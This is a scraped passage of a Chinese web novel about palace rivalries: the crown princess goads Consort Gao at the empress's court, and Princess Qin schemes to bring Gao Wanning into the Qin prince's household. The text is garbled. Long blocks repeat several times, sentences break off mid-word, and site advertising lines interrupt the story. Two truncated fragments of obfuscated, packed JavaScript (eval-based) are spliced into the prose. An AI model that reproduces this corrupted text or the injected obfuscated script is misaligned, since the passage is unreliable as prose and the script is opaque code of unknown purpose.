商玄澈抬手给沈安若夹菜。 “难怪,我之前就觉得疑惑,你怎么对沈安锦如此仁慈。” 沈安若一边吃菜一边开口。 “秦王**之前一直关系牢固,这沈安锦内心阴暗,嫉妒成性,最适合用来将秦王**的水搅浑了。” “今日还有一个消息,高晚宁的婚事也因为沈安锦黄了,站在高家和高贵妃的角度来说,这沈安锦就是一个祸害,不论高家还是高贵妃出手处理了她,都会是秦王心里的一根刺,甚至情蛊若是处理不当,秦王只怕是也性命难保。” 说着抬手给商玄澈夹了一筷子才,一脸邀功的模样。 商玄澈偏头,与她视线交替。 “果然还是我的若若最聪明。” “那可有什么需要为夫做的?” 沈安若闻言笑着开口。 “沈安锦不是说了吗?我也该进宫陪皇后娘娘聊聊天,所以你明日上朝的时候带上我,我得赶在众嫔妃给皇后请安的时候去。” 凤仪宫。 高贵妃原本是不准备来请安的,可是自己晕过去的事情不知道为什么在宫里传开了,要是自己再不出现,还不知道会传成什么样子呢,所以强撑着精神来给皇后请安。 当然这请安请得很敷衍。 皇后看着高贵妃开口。 “高贵妃,本宫听闻你昨日被秦王气晕了过去,不知今日身子可好些了?” 皇后这个**居然敢讽刺自己,高贵妃脸色一沉。 “皇后娘娘这是从哪里听来的消息?本宫不过就是太累了,身边的人着急才传了太医,娘娘你可是六宫之主,这有的话还是不要随便说的好。” 这高贵妃还真是嚣张,皇后维持着假笑。 “本宫这也是关心贵妃,若是身子不适,请安大可不必来,本宫向来待后宫的姐妹都宽容,就算贵妃不来请安,本宫也不会为难的。” 高贵妃闻言脸色又难看了几分。 “皇后娘娘对后宫的确很宽容,因此皇上才会让臣妾协助打理,以避免后宫心人恃宠而骄不知分寸。” 皇后神色一冷,正要准备说什么。 忽然外面的太监疾步而来。 “皇后娘娘,太子妃来给您请安了。” 皇后看了一眼高贵妃,这对付高贵妃的人来了,脸上立即有了一抹笑意。 “快请太子妃进来。” 沈安若迈着轻盈的步伐走进凤仪宫,不动声色地打量了一眼众人,盈盈一拜道。 “儿臣给母后请安。” “诸位娘娘安好。” 皇后难得的和颜悦色。 “太子 妃快免礼,坐本宫身边来。” 然后又吩咐了一声。 “快给太子妃上茶。” 果然沈安若一坐下,就看着高贵妃,一脸惊讶的开口。 “呀,高贵妃娘娘也在。” “倒是让本宫有些意外了。” 高贵妃斜睨了沈安若一眼,冷冷道。 “后宫嫔妃每日都会来给皇后娘娘请安,太子妃有什么好意外?” 沈安若带着几分矫揉造作的接过茶杯。 “贵妃娘娘说的是,身为后宫的嫔妃提确每日都要来给皇后请安,不过母后想来宽容大度,贵妃娘娘你这特殊情况母后肯定不会计较的。” 这沈安若说话每次都都给人一种软刀子的感觉,听着就让人心里不舒服,高贵妃忍不住皱了皱眉头。 “皇后的确宽容大度,太子妃为人儿媳许久不见进宫给婆母请安,也不见皇后计较。” 啧啧啧,不得不说,这高贵妃与沈安锦是有做婆媳缘分的,毕竟二人说话阴阳怪气的点都差不多,沈安若一脸笑意的开口。 “那可不,母后慈爱,关心本宫的身子,哪里舍得本宫奔波。” “这要论调教儿媳妇,还得是贵妃娘娘,本宫可是听说了,这锦侧妃刚出小月子就来给贵妃娘娘请安了。” 随即话峰回路转。 “不过贵妃娘娘,你这当人婆母也太严格了一些,再怎么样处罚也不能给自己的儿媳妇吃藏红花啊,再怎么样锦侧妃也为秦王怀过一个孩子!” 满宫的嫔妃听得神色各异,高贵妃给锦侧妃吃藏红花?这是为何? 果然这个沈安若就是一个扫把星,每次见到她都要倒大霉,高贵妃厉声开口。 “太子妃这是在胡说八道什么?” 沈安若一脸淡定的笑意。 “啊?是胡说吗?可是这件事整个皇城都知道了,这可是沈安锦在大街上亲口说的,她来给贵妃娘娘请安,被迫食用了藏红花,而且有名的大夫也当街把脉,沈安锦因为贵妃娘娘永远的失去了做母亲的权利呢?” “贵妃娘娘到底在宫里这么多年稳做贵妃之位,果然出手就是果断呢!” 妃快免礼,坐本宫身边来。” 然后又吩咐了一声。 “快给太子妃上茶。” 果然沈安若一坐下,就看着高贵妃,一脸惊讶的开口。 “呀,高贵妃娘娘也在。” “倒是让本宫有些意外了。” 高贵妃斜睨了沈安若一眼,冷冷道。 “后宫嫔妃每日都会来给皇后娘娘请安,太子妃有什么好意外?” 沈安若带着几分矫揉造作的接过茶杯。 “贵妃娘娘说的是,身为后宫的嫔妃提确每日都要来给皇后请安,不过母后想来宽容大度,贵妃娘娘你这特殊情况母后肯定不会计较的。” 这沈安若说话每次都都给人一种软刀子的感觉,听着就让人心里不舒服,高贵妃忍不住皱了皱眉头。 “皇后的确宽容大度,太子妃为人儿媳许久不见进宫给婆母请安,也不见皇后计较。” 啧啧啧,不得不说,这高贵妃与沈安锦是有做婆媳缘分的,毕竟二人说话阴阳怪气的点都差不多,沈安若一脸笑意的开口。 “那可不,母后慈爱,关心本宫的身子,哪里舍得本宫奔波。” “这要论调教儿媳妇,还得是贵妃娘娘,本宫可是听说了,这锦侧妃刚出小月子就来给贵妃娘娘请安了。” 随即话峰回路转。 “不过贵妃娘娘,你这当人婆母也太严格了一些,再怎么样处罚也不能给自己的儿媳妇吃藏红花啊,再怎么样锦侧妃也为秦王怀过一个孩子!” 满宫的嫔妃听得神色各异,高贵妃给锦侧妃吃藏红花?这是为何? 果然这个沈安若就是一个扫把星,每次见到她都要倒大霉,高贵妃厉声开口。 “太子妃这是在胡说八道什么?” 沈安若一脸淡定的笑意。 “啊?是胡说吗?可是这件事整个皇城都知道了,这可是沈安锦在大街上亲口说的,她来给贵妃娘娘请安,被迫食用了藏红花,而且有名的大夫也当街把脉,沈安锦因为贵妃娘娘永远的失去了做母亲的权利呢?” “贵妃娘娘到底在宫里这么多年稳做贵妃之位,果然出手就是果断呢!” 妃快免礼,坐本宫身边来。” 然后又吩咐了一声。 “快给太子妃上茶。” 果然沈安若一坐下,就看着高贵妃,一脸惊讶的开口。 “呀,高贵妃娘娘也在。” “倒是让本宫有些意外了。” 高贵妃斜睨了沈安若一眼,冷冷道。 “后宫嫔妃每日都会来给皇后娘娘请安,太子妃有什么好意外?” 沈安若带着几分矫揉造作的接过茶杯。 “贵妃娘娘说的是,身为后宫的嫔妃提确每日都要来给皇后请安,不过母后想来宽容大度,贵妃娘娘你这特殊情况母后肯定不会计较的。” 这沈安若说话每次都都给人一种软刀子的感觉,听着就让人心里不舒服,高贵妃忍不住皱了皱眉头。 “皇后的确宽容大度,太子妃为人儿媳许久不见进宫给婆母请安,也不见皇后计较。” 啧啧啧,不得不说,这高贵妃与沈安锦是有做婆媳缘分的,毕竟二人说话阴阳怪气的点都差不多,沈安若一脸笑意的开口。 “那可不,母后慈爱,关心本宫的身子,哪里舍得本宫奔波。” “这要论调教儿媳妇,还得是贵妃娘娘,本宫可是听说了,这锦侧妃刚出小月子就来给贵妃娘娘请安了。” 随即话峰回路转。 “不过贵妃娘娘,你这当人婆母也太严格了一些,再怎么样处罚也不能给自己的儿媳妇吃藏红花啊,再怎么样锦侧妃也为秦王怀过一个孩子!” 满宫的嫔妃听得神色各异,高贵妃给锦侧妃吃藏红花?这是为何? 果然这个沈安若就是一个扫把星,每次见到她都要倒大霉,高贵妃厉声开口。 “太子妃这是在胡说八道什么?” 沈安若一脸淡定的笑意。 “啊?是胡说吗?可是这件事整个皇城都知道了,这可是沈安锦在大街上亲口说的,她来给贵妃娘娘请安,被迫食用了藏红花,而且有名的大夫也当街把脉,沈安锦因为贵妃娘娘永远的失去了做母亲的权利呢?” “贵妃娘娘到底在宫里这么多年稳做贵妃之位,果然出手就是果断呢!” 妃快免礼,坐本宫身边来。” 然后又吩咐了一声。 “快给太子妃上茶。” 果然沈安若一坐下,就看着高贵妃,一脸惊讶的开口。 “呀,高贵妃娘娘也在。” “倒是让本宫有些意外了。” 高贵妃斜睨了沈安若一眼,冷冷道。 “后宫嫔妃每日都会来给皇后娘娘请安,太子妃有什么好意外?” 沈安若带着几分矫揉造作的接过茶杯。 “贵妃娘娘说的是,身为后宫的嫔妃提确每日都要来给皇后请安,不过母后想来宽容大度,贵妃娘娘你这特殊情况母后肯定不会计较的。” 这沈安若说话每次都都给人一种软刀子的感觉,听着就让人心里不舒服,高贵妃忍不住皱了皱眉头。 “皇后的确宽容大度,太子妃为人儿媳许久不见进宫给婆母请安,也不见皇后计较。” 啧啧啧,不得不说,这高贵妃与沈安锦是有做婆媳缘分的,毕竟二人说话阴阳怪气的点都差不多,沈安若一脸笑意的开口。 “那可不,母后慈爱,关心本宫的身子,哪里舍得本宫奔波。” “这要论调教儿媳妇,还得是贵妃娘娘,本宫可是听说了,这锦侧妃刚出小月子就来给贵妃娘娘请安了。” 随即话峰回路转。 “不过贵妃娘娘,你这当人婆母也太严格了一些,再怎么样处罚也不能给自己的儿媳妇吃藏红花啊,再怎么样锦侧妃也为秦王怀过一个孩子!” 满宫的嫔妃听得神色各异,高贵妃给锦侧妃吃藏红花?这是为何? 果然这个沈安若就是一个扫把星,每次见到她都要倒大霉,高贵妃厉声开口。 “太子妃这是在胡说八道什么?” 沈安若一脸淡定的笑意。 “啊?是胡说吗?可是这件事整个皇城都知道了,这可是沈安锦在大街上亲口说的,她来给贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不过贵妃娘娘,你这当人婆母也太严格了一些,再怎么样处罚也不能给自己的儿媳妇吃藏红花啊,再怎么样锦侧妃也为秦王怀过一个孩子!” 满宫的嫔妃听得神色各异,高贵妃给锦侧妃吃藏红花?这是为何? 果然这个沈安若就是一个扫把星,每次见到她都要倒大霉,高贵妃厉声开口。 “太子妃这是在胡说八道什么?” 沈安若一脸淡定的笑意。 “啊?是胡说吗?可是这件事整个皇城都知道了,这可是沈安锦在大街上亲口说的,她来给贵妃娘娘请安,被迫食用了藏红花,而且有名的大夫也当街把脉,沈安锦因为贵妃娘娘永远的失去了做母亲的权利呢?” “贵妃娘娘到底在宫里这么多年稳做贵妃之位,果然出手就是果断呢!” 妃快免礼,坐本宫身边来。” 然后又吩咐了一声。 “快给太子妃上茶。” 果然沈安若一坐下,就看着高贵妃,一脸惊讶的开口。 “呀,高贵妃娘娘也在。” “倒是让本宫有些意外了。” 高贵妃斜睨了沈安若一眼,冷冷道。 “后宫嫔妃每日都会来给皇后娘娘请安,太子妃有什么好意外?” 沈安若带着几分矫揉造作的接过茶杯。 “贵妃娘娘说的是,身为后宫的嫔妃提确每日都要来给皇后请安,不过母后想来宽容大度,贵妃娘娘你这特殊情况母后肯定不会计较的。” 这沈安若说话每次都都给人一种软刀子的感觉,听着就让人心里不舒服,高贵妃忍不住皱了皱眉头。 “皇后的确宽容大度,太子妃为人儿媳许久不见进宫给婆母请安,也不见皇后计较。” 啧啧啧,不得不说,这高贵妃与沈安锦是有做婆媳缘分的,毕竟二人说话阴阳怪气的点都差不多,沈安若一脸笑意的开口。 “那可不,母后慈爱,关心本宫的身子,哪里舍得本宫奔波。” “这要论调教儿媳妇,还得是贵妃娘娘,本宫可是听说了,这锦侧妃刚出小月子就来给贵妃娘娘请安了。” 随即话峰回路转。 “不过贵妃娘娘,你这当人婆母也太严格了一些,再怎么样处罚也不能给自己的儿媳妇吃藏红花啊,再怎么样锦侧妃也为秦王怀过一个孩子!” 满宫的嫔妃听得神色各异,高贵妃给锦侧妃吃藏红花?这是为何? 果然这个沈安若就是一个扫把星,每次见到她都要倒大霉,高贵妃厉声开口。 “太子妃这是在胡说八道什么?” 沈安若一脸淡定的笑意。 “啊?是胡说吗?可是这件事整个皇城都知道了,这可是沈安锦在大街上亲口说的,她来给贵妃娘娘请安,被迫食用了藏红花,而且有名的大夫也当街把脉,沈安锦因为贵妃娘娘永远的失去了做母亲的权利呢?” “贵妃娘娘到底在宫里这么多年稳做贵妃之位,果然出手就是果断呢!” 妃快免礼,坐本宫身边来。” 然后又吩咐了一声。 “快给太子妃上茶。” 果然沈安若一坐下,就看着高贵妃,一脸惊讶的开口。 “呀,高贵妃娘娘也在。” “倒是让本宫有些意外了。” 高贵妃斜睨了沈安若一眼,冷冷道。 “后宫嫔妃每日都会来给皇后娘娘请安,太子妃有什么好意外?” 沈安若带着几分矫揉造作的接过茶杯。 “贵妃娘娘说的是,身为后宫的嫔妃提确每日都要来给皇后请安,不过母后想来宽容大度,贵妃娘娘你这特殊情况母后肯定不会计较的。” 这沈安若说话每次都都给人一种软刀子的感觉,听着就让人心里不舒服,高贵妃忍不住皱了皱眉头。 “皇后的确宽容大度,太子妃为人儿媳许久不见进宫给婆母请安,也不见皇后计较。” 啧啧啧,不得不说,这高贵妃与沈安锦是有做婆媳缘分的,毕竟二人说话阴阳怪气的点都差不多,沈安若一脸笑意的开口。 “那可不,母后慈爱,关心本宫的身子,哪里舍得本宫奔波。” “这要论调教儿媳妇,还得是贵妃娘娘,本宫可是听说了,这锦侧妃刚出小月子就来给贵妃娘娘请安了。” 随即话峰回路转。 “不过贵妃娘娘,你这当人婆母也太严格了一些,再怎么样处罚也不能给自己的儿媳妇吃藏红花啊,再怎么样锦侧妃也为秦王怀过一个孩子!” 满宫的嫔妃听得神色各异,高贵妃给锦侧妃吃藏红花?这是为何? 果然这个沈安若就是一个扫把星,每次见到她都要倒大霉,高贵妃厉声开口。 “太子妃这是在胡说八道什么?” 沈安若一脸淡定的笑意。 “啊?是胡说吗?可是这件事整个皇城都知道了,这可是沈安锦在大街上亲口说的,她来给贵妃娘娘请安,被迫食用了藏红花,而且有名的大夫也当街把脉,沈安锦因为贵妃娘娘永远的失去了做母亲的权利呢?” “贵妃娘娘到底在宫里这么多年稳做贵妃之位,果然出手就是果断呢!” 一百三十九章 各怀鬼胎 沈安锦这个蠢货,不知道家丑不可外扬么?居然当街毁本宫名声。 “所以太子妃就是听到一些不切实际的谣言,就跟着听风就是雨了吗?堂堂太子妃不好好的学着…………” 皇后悠然开口。 “高贵妃,太子妃还轮不到你来教训。” 目的已经达到了,沈安若也懒得再说什么,朝皇后一脸笑意的开口。 “母后,儿臣好不容易进宫一趟,想单独跟母后聊聊天,等一下太子下朝以后,我们在一起陪着母后用午膳。” 太子这些年心思都在练武或者公务上,留在凤仪宫陪伴自己用膳的时候很少,皇后听得一脸的笑意。 “那本宫可要让人多准备一些你和太子喜欢吃的饭菜。” 其中一个嫔妃讨好的开口。 “太子与太子妃可真孝敬皇后娘娘,让咱们这些当妹妹的羡慕不已。” 有人开口奉承,自然有人跟风。 “是啊,还是皇后娘娘有福气,母慈子孝,这可是佳话。” 高贵妃气得咬牙。 起身敷衍的福身。 “既然皇后娘娘要与太子妃说话,那本宫就不打扰。” 说完就转身离开。 看着高贵妃气成这个样,皇后脸上的笑容都灿烂了几分。 “各位妹妹也都散了吧!” 众人起身行礼。 “臣妾告退。” 人一走,皇后看着沈安若脸上的笑意也消失了。 “太子妃,之前本宫让人传你进宫说话你都推脱了,倒是难得你今日居然进宫给本宫请安。” 得,又要开始作了,沈安若笑着开口。 “皇后娘娘今日不想本宫来吗?” 皇后神情一愣。 “你………………” 沈安若喝了一口茶,放下了手中的茶杯缓缓起身,福身道。 “本宫今日的书还没有看完,就借皇后的偏殿看书等着太子殿下吧。” 要不是为了将戏做足全套好气高贵妃,自己是真的不想跟皇后周旋,有很多时候真的是不怕神一样的对手,就怕猪一样的队友。 看着沈安若离开的背影,皇后气的脸色都沉了下来。 “沈…………” 胡嬷嬷急忙扶着皇后开口。 “娘娘!” 看着沈安若已经走出了大门,这才压低声音开口道。 “娘娘,今日多亏了太子妃,才没有让高贵妃嚣张下去,你就别跟太子妃计较 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 了。 说着又抬手将桌子上的茶端起来,递给皇后。 “娘娘,消消气,太子妃虽然行事乖张了一些,可在众人面前到底是护着娘娘的。 皇后接过茶杯喝了一口茶。 “本宫也不是非要跟她计较,本宫只是想到了清舒被送回了柚阳,看着她就忍不住来气。 胡嬷嬷闻言无奈的叹了一口气,皇后自小被李家宠大的,性子单纯,又以李家为重,可这对母子关系来说并不是好事。 “娘娘,清舒小姐的事情都过去那么久了,而且国公夫人也说了,这是国公爷的决定,娘娘就不要再去想这件事情了。 看了看皇后,见他没有生气,又才语重心长的开口。 “老奴知道,娘娘其实也不是真的讨厌凰仪公主,只是担心她异国公主的身份给太子带来不好的影响,加上娘娘心疼清舒小姐……… “可是娘娘,就算娘娘你将清舒小姐当做女儿般的疼爱,可太子殿下才是娘娘你的亲生儿子啊,这夫妻过日子,要的是二人两情相悦,太子殿下既然心仪的是凰仪公主,哪怕是为了太子殿下,娘娘你也试着与凰仪公主好好相处吧! 皇后闻言沉思着开口。 “本宫就是因为要为太子考虑,才会想让清舒嫁入太子府,胡嬷嬷,皇上对太子与本宫…………唉,国公府这些年一次又一次的为太子谋划,太子不能负了李家的。 “若是寒了国公府的心,这还如何坐得稳太子之位? 胡嬷嬷听了继续劝解道。 “娘娘,太子殿下已经长大了,老奴相信凡事太子殿下心里也是有数的,而且太子妃的本事娘娘你也看见了多次,并不比清舒小姐手腕差,若是娘娘你执意要将清舒小姐嫁入太子府,只怕是会伤了母子情分啊。 “毕竟高贵妃列子就在那里,秦王现在与高贵妃都生疏了。 皇后闻言急忙开口。 “本宫可做不出那样狠毒的事情来。 胡嬷嬷继续开口。 “老奴知道皇后娘娘最是善良的,可是娘娘,太子妃也不是沈安锦,咱们太子更不是秦王,他们心里跟明镜似的,什么都门儿清呢,若是娘娘真的一直针对太子妃,太子殿下都让国公府把清舒小姐送走了,这还不知道要做出什么来呢。 翊坤宫。 高贵妃一回来就气得砸了桌子上的茶具。 “这南诏的女子就没有一个是好东西。 “秋嬷嬷,立即传秦王妃进宫,本宫倒是要好好的 你的朋友正在书荒,快去帮帮他吧 问问她,她是怎么管理秦王府的?居然让一个侧妃上蹿下跳的丢人现眼。” 高家。 周家的婚事黄了,高夫人又让人找来媒人,给高晚宁继续挑选婚事。 可是看着媒婆送来的画像,都是一些门第与高家相差许多的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“母妃,她的确是一个孤女没错,可她是王爷心尖上的人,王爷要宠着,儿臣也没办法,就算有,儿臣也没机会施展。” 高贵妃闻言看着顾思娴,眼里带着几分凌厉,自己让人观察过,这顾思娴嫁入秦王府以后不顾不顾,也从不争宠,甚至跟一个透明人一样的,明显就是没有将心放在秦王府。 见高贵妃更生气了,顾思娴恭敬的开口。 “母妃,你也知道,儿臣从小舞抢弄棒的,哪里懂讨王爷欢心,母妃若是真的希望王爷的心思不在沈安锦伸手,儿臣这里倒是有一计,不知母妃可否指点一二?” 第一百四十章 不如进秦王府 高贵妃听了,脸色稍微缓和了一些。 “坐下说话吧。” “给秦王妃上茶。” 顾思娴依旧恭敬色道谢。 “儿臣多谢母妃。” 坐下以后继续开口。 “母妃,我的性子随性惯了,王爷不喜欢儿臣这样的,但是儿臣家里有一个庶妹,以前因为她的身体不好就养在老家那边,近日才接回来,样貌小家碧玉,性格温柔似水又乖巧,比起那沈安锦讨喜多了,儿臣想接进府陪伴儿臣,也伺候王爷,母妃觉得意下如何?” 让人分散宠爱,常见的手段罢了,不过顾思娴既然肯管,也是好事,高贵妃接过嬷嬷递过来的茶,看着顾思娴。 “你那个庶妹竟然是养在老家那边的,品行你可了解?若是进府就跟那沈安锦一样,本宫可就要问责你了!” 顾思娴连忙起身,福身道。 “母妃放心,我那庶妹自幼身体孱弱,养在老家也是静心调养,性子极为温顺,且她一直对儿臣敬重有加,断不会做出什么出格之事。儿臣想着,若是她进了府,能得王爷几分青睐,或许能分散王爷对那沈安锦的注意力,也免得沈安锦再兴风作浪,连累母妃您也跟着生气。” 高贵妃端起茶杯,轻抿一口,神色稍缓。 “既然你如此有把握,那便试试吧。不过,你也要记住,你是秦王府的正妃,不管那沈安锦如何受宠,你的地位不可动摇。若是那庶妹进了府不懂规矩,你也要拿出正妃的威严来。” 顾思娴点头称是。 “儿臣谨记母妃教诲。” 此时宫女进来行礼。 “娘娘,丞相夫人和高小姐来了。” 高贵妃闻言面色又发愁了起来,想到了这沈安锦陷害晚宁一直都没有去赔罪,自己也不好跟娘家嫂子交代啊。 顾思娴见状在一旁开口。 “母妃,最近的谣言也连累高小姐了,听说原本就要谈妥的婚事也没有了,现在高小姐的婚事………………” “儿臣与高小姐自小相识,不知可否留下来安慰高小姐几句,说起来,晚宁也喊儿臣一声表嫂。” 高贵妃微微点了点头。 朝嬷嬷使了一个眼神。 很快高夫人和高晚宁走进来,先是看了一眼顾思娴,然后朝高贵妃行礼。 “臣妇(臣女)参见贵妃娘。” 高贵妃一脸笑意的开口。 “快别多礼了。” “赐座。” “嬷嬷,给丞相夫人和 晚宁让皇上新赏的茶。” 高夫人和高晚宁恭敬的开口。 “多谢贵妃娘娘。” 然后朝秦王妃打招呼。 “秦王妃。” 顾思娴起身回礼。 “丞相夫人。” 然后看着高晚宁露出一抹笑意。 “晚宁。” 很快宫人上了茶,高夫人看了看高贵妃,又看了看顾思娴,有些欲言又止。 顾思娴先一步开口。 “夫人和晚宁也是因为外面的谣言特意进宫来安慰母妃的吗?” 这话?高夫人和高晚宁不约而同的看了对方眼,然后眼里带着诧异。 顾思娴继续开口,却先叹了一口气。 “唉,说起来也是我这个秦王妃无用,府中的一个侧室都管不好,连累了母妃,也连累了高小姐。” 说着还起身朝高晚宁福身。 “在这里,给晚宁赔罪了。” 高晚宁见状急忙避开顾思娴的礼,先不说顾家手握兵权,高晚宁身份并不比自己差,她还是秦王妃,自己受不起她的赔罪礼。 “表嫂你这折煞晚宁了,这明明就是那个沈安锦心术不正,手段下作。” “先前孩子的事情诬陷我就算了,现在又毁我名声,简直就是……………” 高夫人开口提醒。 “晚宁。” 依旧看着高贵妃欲言又止。 高贵妃看着高夫人开口。 “嫂子,思娴是本宫的儿媳妇,说起来都是一家人,嫂子今日可是为了流言的事情而来。” 见高贵妃都如此不避讳,而且与周家的婚事,有人若是有心想要查,并不难查,高夫人缓缓开口道。 “是,娘娘,晚宁的婚事已经毁了,而且不好……………” 后面的话没有说出来,但是在场的人都是明白的。 顾思娴一脸惋惜的模样。 “唉,真的是可怜晚宁了,这沈安锦还真是一个祸害。” “晚宁年龄也不小了,这么耽搁下去可如何是好?” 高晚宁看着高贵妃开口。 “姑母,我不嫁人了,也不想让你和母亲操心了,但是我不想放过沈安锦,女子的名声何其重要?她同为女子却故意栽赃陷害毁我名声,若是我就这么算了,以后在这个皇城,谁还会把高家的姑娘放在眼里?” 高贵妃闻言开口道。 “胡闹,女子怎么能不嫁人?” “晚宁,婚事你不必担心,姑母过几日办一个宴会,请那些夫人进宫一叙,到时候你跟在本宫的身边。” 高夫人听了这才神色好了几分,有了高贵妃做担保,晚宁的婚事就不可能差了。 顾思娴眼里闪过一抹光芒,很快开口。 “母妃,高夫人,如果是为了晚宁的婚事,思娴倒是有一个想法,不知母妃和高夫人可否听一听。” 高贵妃看了顾思娴一眼。 “你说吧!” 顾思娴看向高晚宁。 “晚宁,我们自小一起长大,大家都是熟路的,不如你来秦王府,咱们姐妹还有一个伴。” “而且沈安锦现在兴风作浪,我身为秦王妃左右为难,你又不想轻易放过她,你进府以后咱们姐妹齐心,一定可以管束好沈安锦,不让母妃烦忧。” 晚宁让皇上新赏的茶。” 高夫人和高晚宁恭敬的开口。 “多谢贵妃娘娘。” 然后朝秦王妃打招呼。 “秦王妃。” 顾思娴起身回礼。 “丞相夫人。” 然后看着高晚宁露出一抹笑意。 “晚宁。” 很快宫人上了茶,高夫人看了看高贵妃,又看了看顾思娴,有些欲言又止。 顾思娴先一步开口。 “夫人和晚宁也是因为外面的谣言特意进宫来安慰母妃的吗?” 这话?高夫人和高晚宁不约而同的看了对方眼,然后眼里带着诧异。 顾思娴继续开口,却先叹了一口气。 “唉,说起来也是我这个秦王妃无用,府中的一个侧室都管不好,连累了母妃,也连累了高小姐。” 说着还起身朝高晚宁福身。 “在这里,给晚宁赔罪了。” 高晚宁见状急忙避开顾思娴的礼,先不说顾家手握兵权,高晚宁身份并不比自己差,她还是秦王妃,自己受不起她的赔罪礼。 “表嫂你这折煞晚宁了,这明明就是那个沈安锦心术不正,手段下作。” “先前孩子的事情诬陷我就算了,现在又毁我名声,简直就是……………” 高夫人开口提醒。 “晚宁。” 依旧看着高贵妃欲言又止。 高贵妃看着高夫人开口。 “嫂子,思娴是本宫的儿媳妇,说起来都是一家人,嫂子今日可是为了流言的事情而来。” 见高贵妃都如此不避讳,而且与周家的婚事,有人若是有心想要查,并不难查,高夫人缓缓开口道。 “是,娘娘,晚宁的婚事已经毁了,而且不好……………” 后面的话没有说出来,但是在场的人都是明白的。 顾思娴一脸惋惜的模样。 “唉,真的是可怜晚宁了,这沈安锦还真是一个祸害。” “晚宁年龄也不小了,这么耽搁下去可如何是好?” 高晚宁看着高贵妃开口。 “姑母,我不嫁人了,也不想让你和母亲操心了,但是我不想放过沈安锦,女子的名声何其重要?她同为女子却故意栽赃陷害毁我名声,若是我就这么算了,以后在这个皇城,谁还会把高家的姑娘放在眼里?” 高贵妃闻言开口道。 “胡闹,女子怎么能不嫁人?” “晚宁,婚事你不必担心,姑母过几日办一个宴会,请那些夫人进宫一叙,到时候你跟在本宫的身边。” 高夫人听了这才神色好了几分,有了高贵妃做担保,晚宁的婚事就不可能差了。 顾思娴眼里闪过一抹光芒,很快开口。 “母妃,高夫人,如果是为了晚宁的婚事,思娴倒是有一个想法,不知母妃和高夫人可否听一听。” 高贵妃看了顾思娴一眼。 “你说吧!” 顾思娴看向高晚宁。 “晚宁,我们自小一起长大,大家都是熟路的,不如你来秦王府,咱们姐妹还有一个伴。” “而且沈安锦现在兴风作浪,我身为秦王妃左右为难,你又不想轻易放过她,你进府以后咱们姐妹齐心,一定可以管束好沈安锦,不让母妃烦忧。” 晚宁让皇上新赏的茶。” 高夫人和高晚宁恭敬的开口。 “多谢贵妃娘娘。” 然后朝秦王妃打招呼。 “秦王妃。” 顾思娴起身回礼。 “丞相夫人。” 然后看着高晚宁露出一抹笑意。 “晚宁。” 很快宫人上了茶,高夫人看了看高贵妃,又看了看顾思娴,有些欲言又止。 顾思娴先一步开口。 “夫人和晚宁也是因为外面的谣言特意进宫来安慰母妃的吗?” 这话?高夫人和高晚宁不约而同的看了对方眼,然后眼里带着诧异。 顾思娴继续开口,却先叹了一口气。 “唉,说起来也是我这个秦王妃无用,府中的一个侧室都管不好,连累了母妃,也连累了高小姐。” 说着还起身朝高晚宁福身。 “在这里,给晚宁赔罪了。” 高晚宁见状急忙避开顾思娴的礼,先不说顾家手握兵权,高晚宁身份并不比自己差,她还是秦王妃,自己受不起她的赔罪礼。 “表嫂你这折煞晚宁了,这明明就是那个沈安锦心术不正,手段下作。” “先前孩子的事情诬陷我就算了,现在又毁我名声,简直就是……………” 高夫人开口提醒。 “晚宁。” 依旧看着高贵妃欲言又止。 高贵妃看着高夫人开口。 “嫂子,思娴是本宫的儿媳妇,说起来都是一家人,嫂子今日可是为了流言的事情而来。” 见高贵妃都如此不避讳,而且与周家的婚事,有人若是有心想要查,并不难查,高夫人缓缓开口道。 “是,娘娘,晚宁的婚事已经毁了,而且不好……………” 后面的话没有说出来,但是在场的人都是明白的。 顾思娴一脸惋惜的模样。 “唉,真的是可怜晚宁了,这沈安锦还真是一个祸害。” “晚宁年龄也不小了,这么耽搁下去可如何是好?” 高晚宁看着高贵妃开口。 “姑母,我不嫁人了,也不想让你和母亲操心了,但是我不想放过沈安锦,女子的名声何其重要?她同为女子却故意栽赃陷害毁我名声,若是我就这么算了,以后在这个皇城,谁还会把高家的姑娘放在眼里?” 高贵妃闻言开口道。 “胡闹,女子怎么能不嫁人?” “晚宁,婚事你不必担心,姑母过几日办一个宴会,请那些夫人进宫一叙,到时候你跟在本宫的身边。” 高夫人听了这才神色好了几分,有了高贵妃做担保,晚宁的婚事就不可能差了。 顾思娴眼里闪过一抹光芒,很快开口。 “母妃,高夫人,如果是为了晚宁的婚事,思娴倒是有一个想法,不知母妃和高夫人可否听一听。” 高贵妃看了顾思娴一眼。 “你说吧!” 顾思娴看向高晚宁。 “晚宁,我们自小一起长大,大家都是熟路的,不如你来秦王府,咱们姐妹还有一个伴。” “而且沈安锦现在兴风作浪,我身为秦王妃左右为难,你又不想轻易放过她,你进府以后咱们姐妹齐心,一定可以管束好沈安锦,不让母妃烦忧。” 晚宁让皇上新赏的茶。” 高夫人和高晚宁恭敬的开口。 “多谢贵妃娘娘。” 然后朝秦王妃打招呼。 “秦王妃。” 顾思娴起身回礼。 “丞相夫人。” 然后看着高晚宁露出一抹笑意。 “晚宁。” 很快宫人上了茶,高夫人看了看高贵妃,又看了看顾思娴,有些欲言又止。 顾思娴先一步开口。 “夫人和晚宁也是因为外面的谣言特意进宫来安慰母妃的吗?” 这话?高夫人和高晚宁不约而同的看了对方眼,然后眼里带着诧异。 顾思娴继续开口,却先叹了一口气。 “唉,说起来也是我这个秦王妃无用,府中的一个侧室都管不好,连累了母妃,也连累了高小姐。” 说着还起身朝高晚宁福身。 “在这里,给晚宁赔罪了。” 高晚宁见状急忙避开顾思娴的礼,先不说顾家手握兵权,高晚宁身份并不比自己差,她还是秦王妃,自己受不起她的赔罪礼。 “表嫂你这折煞晚宁了,这明明就是那个沈安锦心术不正,手段下作。” “先前孩子的事情诬陷我就算了,现在又毁我名声,简直就是……………” 高夫人开口提醒。 “晚宁。” 